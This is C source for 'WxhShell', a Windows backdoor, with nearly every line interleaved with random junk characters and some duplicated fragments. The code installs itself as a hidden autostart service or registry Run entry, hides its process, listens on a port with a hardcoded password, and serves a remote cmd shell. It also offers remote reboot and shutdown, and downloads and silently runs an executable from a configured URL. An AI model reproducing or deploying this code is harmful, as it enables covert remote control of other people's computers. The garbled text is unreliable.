(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qraa0]56 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #qeC)T *eI {g if (!NtQueryInformationProcess) return 0; 4
=T_h` 8]rObT9> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RF~G{wz if(!hProcess) return 0; 0?O_]SD c:<a"$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z$zX%w d]N_<@tx9 CloseHandle(hProcess); }c>vk >P//]nn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jBl$r{L if(hProcess==NULL) return 0; gAf4wq \C4wWh-A HMODULE hMod; <2~DI0pp( char procName[255]; . i^@v<+ unsigned long cbNeeded; >7~,w1t ngI+afo
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "<^n@=g'q X-J85b_e CloseHandle(hProcess); *kcc]*6@s 6~x a^3G: if(strstr(procName,"services")) return 1; // 以服务启动 tD4-Llj6 5".bM8o return 0; // 注册表启动 @.`k2lxGd~ }
'(g;nU< m_,Jbf // 主模块 Gl[1K/,* int StartWxhshell(LPSTR lpCmdLine) XL'\$f { yB 'C9wEH SOCKET wsl; +wQ}ZP& BOOL val=TRUE; 2b-g`60< int port=0; M0OIcMTv struct sockaddr_in door; k4E9=y? ,s2C)bb- if(wscfg.ws_autoins) Install(); Kf_xKW)^ 7PBE(d%m port=atoi(lpCmdLine); \,r*-jr 0j8`M"6 if(port<=0) port=wscfg.ws_port; afzx?ekdF ?e,:x ]\L WSADATA data; >y(loMl if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )d2:r 07a M9m~ck if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; uh \Tf5 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u|6-[I door.sin_family = AF_INET; oJ`=ob4WDo door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]'w5s dP door.sin_port = htons(port); V`HnFAW z4$9,p
` if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zQ<;3+* closesocket(wsl); nHRk2l| return 1; Mc!LC
.8 } (U_HX2f yK$aVK" if(listen(wsl,2) == INVALID_SOCKET) { b#R$P]dr= closesocket(wsl); pS}IU{#; return 1; ~tZB1+%) } dnQ6Ras Wxhshell(wsl); lNl.lI\t)y WSACleanup(); %r*,m3d 0Ub'=`]5a return 0; E> $_
$' g1.u1} } }^j8< `l/nAKg?W // 以NT服务方式启动 LsaX
HI/?b VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :8==Bu { )=MK&72r DWORD status = 0; ?~E"! DWORD specificError = 0xfffffff; }maD8,:t iHK.hs; serviceStatus.dwServiceType = SERVICE_WIN32; P#`M8k serviceStatus.dwCurrentState = SERVICE_START_PENDING; z%iPk'^ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S8v?H|rm serviceStatus.dwWin32ExitCode = 0; p
.P#S serviceStatus.dwServiceSpecificExitCode = 0; &m
GU serviceStatus.dwCheckPoint = 0; 5X>~39(r serviceStatus.dwWaitHint = 0; )Q>Ao. iA[o;D# hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -K H"2q if (hServiceStatusHandle==0) return; o?j8"^!7 c3o3i status = GetLastError(); z;Fz3s7 if (status!=NO_ERROR) AE~@F4MK { dqo-.,= serviceStatus.dwCurrentState = SERVICE_STOPPED; 1~3dX[& serviceStatus.dwCheckPoint = 0; :]CL}n$* serviceStatus.dwWaitHint = 0; Oh>hyY)} serviceStatus.dwWin32ExitCode = status; @)vQ>R\k< serviceStatus.dwServiceSpecificExitCode = specificError; "@/pQoLy SetServiceStatus(hServiceStatusHandle, &serviceStatus); `~"'\Hw return; pV;0Hcy } w-xigm>{Z >goHQ30: serviceStatus.dwCurrentState = SERVICE_RUNNING; 5??}9 serviceStatus.dwCheckPoint = 0; ysl#Rwt/2 serviceStatus.dwWaitHint = 0; yWE\)]9 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D
.LR-Z } /!A"[Tyt 4[MTEBx // 处理NT服务事件,比如:启动、停止 b-#lKWso VOID WINAPI NTServiceHandler(DWORD fdwControl) D6+3f#k6 { "5O>egt switch(fdwControl) CR%h$+dzy { $Bl51VjN case SERVICE_CONTROL_STOP: R5(([C1 serviceStatus.dwWin32ExitCode = 0; }4H}*P> + serviceStatus.dwCurrentState = SERVICE_STOPPED; WBkx!{\z serviceStatus.dwCheckPoint = 0; r]DU serviceStatus.dwWaitHint = 0; aR('u:@jHi { !MOsP<2 SetServiceStatus(hServiceStatusHandle, &serviceStatus);
bZ OCj1 } 5>daWmD return; T!>h Pg case SERVICE_CONTROL_PAUSE: )b>misb/ serviceStatus.dwCurrentState = SERVICE_PAUSED; F4WX$;1 break; V45adDiZ case SERVICE_CONTROL_CONTINUE: @G=7A;-pv0 serviceStatus.dwCurrentState = SERVICE_RUNNING; kR^h@@'F" break; )T^wc: case SERVICE_CONTROL_INTERROGATE: [rK`BnJX break; JX[]u<h? }; (xVx|:R[<H SetServiceStatus(hServiceStatusHandle, &serviceStatus); <eS/-W%n6 } wVnmT94 T]tu#h{
a // 标准应用程序主函数 w?^[*_Y int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VNIl%9:-l { %N&W_.F6 ?wCX:?g // 获取操作系统版本 F ]Zg OsIsNt=GetOsVer(); yRl GetModuleFileName(NULL,ExeFile,MAX_PATH); 6
R})KIG U` HY
eJ // 从命令行安装 |9IOZ>H9 if(strpbrk(lpCmdLine,"iI")) Install(); l&e$:=;8 Ba|}$jo // 下载执行文件 q*`
m%3{ if(wscfg.ws_downexe) { qQG? k~r if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~u2f`67{ WinExec(wscfg.ws_filenam,SW_HIDE); ruB D
^- } g<M!]0OK HiU)q if(!OsIsNt) { ~9vK6;0 // 如果时win9x,隐藏进程并且设置为注册表启动 nGYimRYO HideProc(); TNA7(<"fV| StartWxhshell(lpCmdLine); qm:C1#<p
} ~D4l64 else j4=iHnE; if(StartFromService()) `67i1w` // 以服务方式启动 Wkjp:`(-$r StartServiceCtrlDispatcher(DispatchTable); udA@9a^; else 4
l-UrnZ // 普通方式启动 f+n {9Hz StartWxhshell(lpCmdLine); ~wv$uL8y $L6R,%c return 0; NFx%e } =#y;J(>~| PQSmBTs. KA?%1s(kJ EK"/4t{L_ =========================================== OW\vbWX 87+fd_G =mZYBm,IQ Y:,C_^$w; #Pf<2S
@P75f5p}< " oe
6-F)+ DgW@v[#BK= #include <stdio.h> 0!0e$!8l #include <string.h> /(hTk& #include <windows.h> ,f:K)^yD #include <winsock2.h> !3k-' ),z& #include <winsvc.h> {4Kvr4)4 #include <urlmon.h> .<z7$lz\ _u$DcA8B #pragma comment (lib, "Ws2_32.lib") &;P\e #pragma comment (lib, "urlmon.lib") u^{p'a' js <Up/1 #define MAX_USER 100 // 最大客户端连接数 MkJBKS #define BUF_SOCK 200 // sock buffer 0NZ'(qf~9 #define KEY_BUFF 255 // 输入 buffer >uq0}HB$a \OFmd!Cz #define REBOOT 0 // 重启 zm5PlG #define SHUTDOWN 1 // 关机 ppvlU H5; q6C`hVMl #define DEF_PORT 5000 // 监听端口 z7`|N`$Z#s K2xHXziQ #define REG_LEN 16 // 注册表键长度 63Gq5dF #define SVC_LEN 80 // NT服务名长度 +ynhN\S$/ wyB]!4yy, // 从dll定义API * BR#^Wt typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %~Rg`+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FP=-
jf/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Er
j{_i?R? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _&V,yp!|
FVrB#Hw~ // wxhshell配置信息 nf"#F@dk struct WSCFG { GEf=A.WAfw int ws_port; // 监听端口 PN]hG,q*4O char ws_passstr[REG_LEN]; // 口令 E\s1p:% int ws_autoins; // 安装标记, 1=yes 0=no y _"V=: char ws_regname[REG_LEN]; // 注册表键名 ROQ]sQpk char ws_svcname[REG_LEN]; // 服务名 a_5s'Dh char ws_svcdisp[SVC_LEN]; // 服务显示名 @- |G_BZ char ws_svcdesc[SVC_LEN]; // 服务描述信息 t7x<=rW7u char ws_passmsg[SVC_LEN]; // 密码输入提示信息
a}FyJp int ws_downexe; // 下载执行标记, 1=yes 0=no 6#CswSpS char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #vyf*jPr char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cw
2!V@ 8YlZ({f }; HOWpTu( Fovah4q%V // default Wxhshell configuration bs)wxU`Q* struct WSCFG wscfg={DEF_PORT, a"U3h[;$y "xuhuanlingzhe", -sJD:G,% 1, q&v~9~^}d "Wxhshell", !10/M "Wxhshell", 8o%Vn'^t "WxhShell Service", {X(nn.GpC "Wrsky Windows CmdShell Service", v8y Cf7+" "Please Input Your Password: ", {*GBUv5 1, g&2g>] "http://www.wrsky.com/wxhshell.exe", L k
nK "Wxhshell.exe" #9]2Uixq[ }; t}h(j| *aCVkFp // 消息定义模块 Evm3Sm!S char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u]Vt>Ywu char *msg_ws_prompt="\n\r? for help\n\r#>"; q%kCTw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eu$VKLY* char *msg_ws_ext="\n\rExit."; 9 CZ@IFS char *msg_ws_end="\n\rQuit."; _^GBfM. char *msg_ws_boot="\n\rReboot..."; MjC<N[WO>N char *msg_ws_poff="\n\rShutdown..."; TCyev[( char *msg_ws_down="\n\rSave to "; o<!H/PN $aJay]F char *msg_ws_err="\n\rErr!"; t>}S@T{~T char *msg_ws_ok="\n\rOK!"; )$E){(Aa [}HPV+j=U char ExeFile[MAX_PATH]; wQy~5+LE int nUser = 0; i:jXh9+ HANDLE handles[MAX_USER]; "*X\'LPs= int OsIsNt; g{}<ptx] 8el6z2 SERVICE_STATUS serviceStatus; E<3xv;v8r SERVICE_STATUS_HANDLE hServiceStatusHandle; \HzmhQb+m xtv%C // 函数声明 ' abEY int Install(void); e7xv~C>g int Uninstall(void); 5O]tkHYR int DownloadFile(char *sURL, SOCKET wsh); ?B ,<gen int Boot(int flag); #!O)-dyF void HideProc(void); Jaw1bUP!oK int GetOsVer(void); !|4]V}JQ int Wxhshell(SOCKET wsl); _dk[k@5W{' void TalkWithClient(void *cs); Pa d)| int CmdShell(SOCKET sock); vf.MSk?~ar int StartFromService(void); 7 "'PfP4c int StartWxhshell(LPSTR lpCmdLine); A8mc+ Bf( >>KI_$V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -d4v:Jab VOID WINAPI NTServiceHandler( DWORD fdwControl );
7SJ=2 6?M/71 // 数据结构和表定义 '62_q8: SERVICE_TABLE_ENTRY DispatchTable[] = +:jonN9d { >uYQt~s {wscfg.ws_svcname, NTServiceMain}, 8493Sw {NULL, NULL} KM[0aXOtv }; d38o*+JCf MhHh`WUGh // 自我安装 !zOj`lx int Install(void) )HE{`yiLL { TX$dxHSPK char svExeFile[MAX_PATH]; lJFy(^KQG, HKEY key; w>X@
, strcpy(svExeFile,ExeFile); t6+W y]@JkF( // 如果是win9x系统,修改注册表设为自启动 I(R%j]LX& if(!OsIsNt) { sNpA!!\PM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6}R*7iMs RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B6IKD RegCloseKey(key); nm<VcCc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c$ib- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
V^Z5i]zT RegCloseKey(key); rM= :{ return 0; e'$[PF } *\'t$se+ } T$u'+*
Xx } xf;>o$oN0P else { UJqh~s YL|)`m0-^5 // 如果是NT以上系统,安装为系统服务 084Us
s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T<Xw[PEnP if (schSCManager!=0) u4
es8" { 1\@PrO35J SC_HANDLE schService = CreateService ].J;8} ( Am@Ta "2 schSCManager, !`Kg&t [&V wscfg.ws_svcname, tc`3-goX wscfg.ws_svcdisp, 4s:M}=]N SERVICE_ALL_ACCESS, *8,W$pe3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B`R@%US SERVICE_AUTO_START, 9kWI2cLzQt SERVICE_ERROR_NORMAL, )N- '~<N svExeFile, 64U|]gd$ NULL, Vv(buG NULL, FD E?O]^ NULL, >i NULL, 3]kM&lK5\ NULL deYv&=SPl ); /# Jvt if (schService!=0) 1-^D2B[- { gd#R7[AVi CloseServiceHandle(schService); +j F|8 CloseServiceHandle(schSCManager);
G-1qxK strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p: z][I strcat(svExeFile,wscfg.ws_svcname); #Swc>jYc if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0!YVRit\N RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Hl%Og$q3 RegCloseKey(key); fh)eL<I return 0; E-Xz } *V:U\G } XZ.D<T" CloseServiceHandle(schSCManager); iP9]b& } XYP
RMa? } q
j21#q
. `.JW_F)1 return 1; }a!|n4|` } `T+>E0H(f ;rT/gwg! // 自我卸载 >H;m[ int Uninstall(void) tx[;& ; { _I; hM HKEY key; \,/ozfJ7dT ) q'D9x9 if(!OsIsNt) { p2l@6\m\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _J\zj RegDeleteValue(key,wscfg.ws_regname); #y#TEw, RegCloseKey(key); X1P1
$RdkR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4.,|vtp RegDeleteValue(key,wscfg.ws_regname); ^kcuRJ0*$ RegCloseKey(key); qk'&:A return 0; Y1r'\@L w } vA:ZR=)F } 9A4n8,&sm } v `/nX-> else { cu?6\@cD Xp<O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %KO8i)n if (schSCManager!=0) 5s^vC2$) { Wx3DWY; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r]xN&Ne5Q if (schService!=0) N9d^;6;i { ]!S#[Wt {k if(DeleteService(schService)!=0) { }03?eWk/y CloseServiceHandle(schService); <!G /&T CloseServiceHandle(schSCManager); sdCG}..` return 0; V}<<?_ } c%,ky$'18 CloseServiceHandle(schService); )Rbt0 } S9l po_!z CloseServiceHandle(schSCManager);
{}'Jr1 } \2El>> } Ag:/iB] rusM]Z return 1; E%E`\mFD } "&D0Sd@[? |wb_im // 从指定url下载文件 H&*&n}vh5y int DownloadFile(char *sURL, SOCKET wsh) ,ynN801\m { lgVT~v{U`n HRESULT hr; T7ShE-X char seps[]= "/"; In%FOPO char *token; r`FTiPD.C char *file; ?$A)lWk( char myURL[MAX_PATH]; 7W},5c char myFILE[MAX_PATH]; n=d#Fm0< d<ES strcpy(myURL,sURL); <<qzZ+u token=strtok(myURL,seps); [8tpU&J while(token!=NULL) > (n/ { R3_;!/1 file=token; |]q{qsy token=strtok(NULL,seps); V3*@n*"N; } LQ Ux} ?6vGE~MuR GetCurrentDirectory(MAX_PATH,myFILE); 7!`1K_v6 strcat(myFILE, "\\"); %CQa8<q strcat(myFILE, file); gJwX send(wsh,myFILE,strlen(myFILE),0); UjunIKX+ send(wsh,"...",3,0); NA@Z$Gy hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c+ZdfdR if(hr==S_OK) _z]v;Q return 0; wDiq~! else 0#yH<h$ return 1; SI6?b1;-:F `{w|2 [C3 } c3fi<?0&| 4s>L]!
W$8 // 系统电源模块 (mi=I3A( int Boot(int flag) lv.h?"Ml { 15|gG<- HANDLE hToken; mrsN@(X0 TOKEN_PRIVILEGES tkp; 3\ )bg
R: %|/\Qu if(OsIsNt) { ""V\hHdp
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~Odclrs LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &BKnJ{,H tkp.PrivilegeCount = 1; U[yA`7Zs} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~QE?GL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c2GTN " if(flag==REBOOT) { k?3mFWc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qixnaiZ return 0; _ !"[Zr } ]B&jMj~y& else { A#pH$s if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fE|"g' return 0; rWM5&M } I)3LJK
} {RsdI=% else { rf^IJY[ if(flag==REBOOT) { .Q</0*sp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xw~oR|`U return 0; _iqaKYT$ } n]l3
)u else { ;L],i<F if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y?oeP^V'u return 0; M>BVnB_,- } ms&5Bq+9 } KxJDAP LsMq&a-j2 return 1; WT 5 2 } tC+11M rP(;^8l" // win9x进程隐藏模块 +r"fv*g" void HideProc(void) 6: R1jF*eG { ^#h ;bX# Yv{$XI7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c;
1f$$>b if ( hKernel != NULL ) z+_d* \ { [w FK!? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _lH:%E* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @%MGLR{pH FreeLibrary(hKernel); (c3O> *M } ,k:>Z&: D#>d+X$ return; &xC5Mecb* } gazX2P[D _>t6]?* // 获取操作系统版本 ob)c0Pz int GetOsVer(void) eY:jVYG( { a}k5[)et OSVERSIONINFO winfo; `- 9p)@'8k winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3P'Wk|j GetVersionEx(&winfo); zb!RfQ, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HErG%v]nw return 1; d(D|rf,av else |t58n{V.O return 0; cGg~+R2P } (x[z=_I%` p@YbIn // 客户端句柄模块 ]*rK; int Wxhshell(SOCKET wsl) .g_Kab3?L { >bw q SOCKET wsh; py/#h$eY struct sockaddr_in client; N71%l DWORD myID; %x^ U3"7 *M~BN}. while(nUser<MAX_USER) ;T!ZO@1X { Z7MGBwP( int nSize=sizeof(client); sdQ"[`~2R wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +'g~3A-G if(wsh==INVALID_SOCKET) return 1; -0*z"a9<p8 DL '{
rK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7*Gg#XQ>( if(handles[nUser]==0) hus9Zv4 closesocket(wsh); ?j8_j else YipL_&- nUser++; Bv}i#D } }SW>ysw'm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7a%)/)<D / \k\HK8 return 0; u-wj\BU } ^K'XlM`a #/>OW2Ny // 关闭 socket )f`oCXh void CloseIt(SOCKET wsh) eyByAT~W, { #ChF{mh closesocket(wsh); k`0m|<$ nUser--; Q,>]f@m ExitThread(0); {@X)=.Zf } _s0;mvz' S1*xM // 客户端请求句柄 @$|bMH*1: void TalkWithClient(void *cs) [jKhC<t} {
t "[2^2G F*,RDM'M SOCKET wsh=(SOCKET)cs; sH{(=N char pwd[SVC_LEN]; /o nZ14 char cmd[KEY_BUFF]; mv`ND& char chr[1]; 14 hE<u int i,j; Sh U1RQk 5k<0>6;XH while (nUser < MAX_USER) { pJ@D}2u( '!XVz$C if(wscfg.ws_passstr) { |)YN"nqg if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YGCBDH%6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rn-CQ2{? //ZeroMemory(pwd,KEY_BUFF); 5oY^;)\/ i=0; =zwn3L8 fL while(i<SVC_LEN) { yRldPk_ _VLA2#V> // 设置超时 J@(69& fd_set FdRead; 3TnrPO1E struct timeval TimeOut; p y%RR*4# FD_ZERO(&FdRead); &jE@i# FD_SET(wsh,&FdRead); y-a3 TimeOut.tv_sec=8; {bO
O?pp TimeOut.tv_usec=0; #J*hZ(Pq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p) m0\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Uizg.<. j:'8yFi_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 43BqNQ0 pwd=chr[0]; t$ 3/ZTx if(chr[0]==0xd || chr[0]==0xa) { t|}}#Z!I[f pwd=0; pn
aSOyR break; /9@VnM } @A8@j%CK1 i++; j4]y(AA } Q;eY]l8 "|d# +C // 如果是非法用户,关闭 socket p2(Z(V7* if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L<ET"&b;4 } LZ1)zoJ /n8\^4{fP{ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C\gKJW^]y@ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =$F<Ac;& 8@d@T V!n& while(1) { V*F |Yo: C5EaP%s ZeroMemory(cmd,KEY_BUFF); #-bz$w#* |aS272' // 自动支持客户端 telnet标准 o9c?)KQ j=0; G9r~O#=gy while(j<KEY_BUFF) { d&t,^Hj if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fz@9
@ cmd[j]=chr[0]; k[]2S8K2 if(chr[0]==0xa || chr[0]==0xd) { ix_&<?8 cmd[j]=0; ~qezr\$2 break; CjUYwAy$k } Yp;?Zq9 j++; 7Nlk:f)*- } >AUzsQ `z<I< // 下载文件 A\)~y{9bQ if(strstr(cmd,"http://")) { BKd?%V8:Q send(wsh,msg_ws_down,strlen(msg_ws_down),0); +W}6o3x~ if(DownloadFile(cmd,wsh)) VqnM>|| send(wsh,msg_ws_err,strlen(msg_ws_err),0); t`E e/L% else x^)W}p" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &/-}`hIAT } -s9()K(vZG else { #,Cz+k*4 sTw+.m{F switch(cmd[0]) { ^_\%?K_u U*7x81v?j // 帮助 |?4NlB6 case '?': { Y@2yV(m)o send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?OVje9 break; 0@kL<\u } y=SVS3D // 安装 J1@skj4#\~ case 'i': { !:M+7kmr7t if(Install()) KLgg([ send(wsh,msg_ws_err,strlen(msg_ws_err),0); <,,X\>B else FPukV^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _~O*V& break; c[a^fu! } uFn?U) // 卸载 /^=8?wK case 'r': { Nf)$K'/ if(Uninstall()) PUErvLt send(wsh,msg_ws_err,strlen(msg_ws_err),0); /-Z}= else e$o]f"( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `j!XWh*$ break; CO`?M,x> } [Z;ei1l // 显示 wxhshell 所在路径 O9_SVXWVw case 'p': { q@vqhE4 char svExeFile[MAX_PATH]; jR>`Xz strcpy(svExeFile,"\n\r"); -.l.@ strcat(svExeFile,ExeFile); Q2<v: *L send(wsh,svExeFile,strlen(svExeFile),0); %#C9E kr break; qIvnPaYW } VE?Aa // 重启 d:=Z<Y?d/ case 'b': { ew<_2Xy"< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cc 0Tb if(Boot(REBOOT)) 'PWA send(wsh,msg_ws_err,strlen(msg_ws_err),0); @S1Z"%S else { Ty} Y/jW closesocket(wsh); @;}vK=6L ExitThread(0); H
h35cj } __}ut+H^5p break; Sg*+! } p4D.nB8 // 关机 I>{o]^xw-D case 'd': { 6B+?X5-6DH send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v[V7$.%5Q if(Boot(SHUTDOWN)) [9G=x[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~BMUea( else { wHh6y? g\ closesocket(wsh); oX7_v_:J\R ExitThread(0); 6j95>} @ } YdyTt5- break; Iw?*y.z| } _qk
yU )z // 获取shell kU,g=+2J case 's': {
~t n$AtK CmdShell(wsh); sR/y| closesocket(wsh); z/fSstN ExitThread(0); cg_ " }]Y1 break; bM.$D-?dF* } QAAuFZs // 退出 W]XM<# ^^ case 'x': { c\/-*OYr< send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K+"3He CloseIt(wsh); 8 Vf#t!t break; 5h |aX } Kwi+}B! // 离开 RA?_j$ case 'q': { |?nYs>K send(wsh,msg_ws_end,strlen(msg_ws_end),0); A@9\Qd closesocket(wsh); 4>OS2b`.; WSACleanup(); =CO) Q2 exit(1); :W6'G@ p break; h?v8b+:0 } iJj!-a:z. } EIfqRRTA } {~w( pAx _>BYUPY // 提示信息 w]nt_xj if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `wZ } Ijap%l1I } Na@;F{ 6212*Z_Af
return; \ 4^zY' } DaJ,(DJY .dVV#
H // shell模块句柄 m mZP; int CmdShell(SOCKET sock) (F 9P1Iq { ! L|l(<C STARTUPINFO si; =+ b>d\7xG ZeroMemory(&si,sizeof(si)); *xmC`oP si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wN10Drc
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w=<E) PROCESS_INFORMATION ProcessInfo; H C,5j)1 char cmdline[]="cmd"; }st~$JsV1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Pz[UAJ return 0; "U"fsAc# } 65JG#^)KaX J[r_ag // 自身启动模式 )/JVp> int StartFromService(void) 7w" !"W# { FyWf`XTO typedef struct `?.6}*4@_A { ezbk@no DWORD ExitStatus; 8{!|` b'f DWORD PebBaseAddress; G7|d$!% DWORD AffinityMask; 5Za<]qxr DWORD BasePriority; );AtFP0Y ULONG UniqueProcessId; v;5-1 ULONG InheritedFromUniqueProcessId; qdwo 2u } PROCESS_BASIC_INFORMATION; _Dqi#0#40p WRkuPj2 PROCNTQSIP NtQueryInformationProcess; A^6z.MdYZ v;G/8>GRy static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &Ep$<kx8 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c^'bf_~-W R!7--]Wcg HANDLE hProcess; @
U"Ib PROCESS_BASIC_INFORMATION pbi; 'YGP42# y7CXE6Y HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +PWm=;tcC if(NULL == hInst ) return 0; 0PFC%x Z L0k g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bv(+$YR g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @
N'P?i NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EZ/_uj2&SN )'g4Ty if (!NtQueryInformationProcess) return 0; YGM7? o bA Yp } hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g8&& W_BI if(!hProcess) return 0; g'T L`=O .Jg<H %%f if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gdx%#@/ z=>P jIW CloseHandle(hProcess); +/%4E % :N^B54o%6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N;P/$ if(hProcess==NULL) return 0; WuF\{bUh GmJ
\3]{PZ HMODULE hMod; rk&oKd_&i char procName[255]; tRc3<> unsigned long cbNeeded; imwn)]L R yGWl8\,j0 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wRwx((eb X2| Z! CloseHandle(hProcess); gMq; iH]0
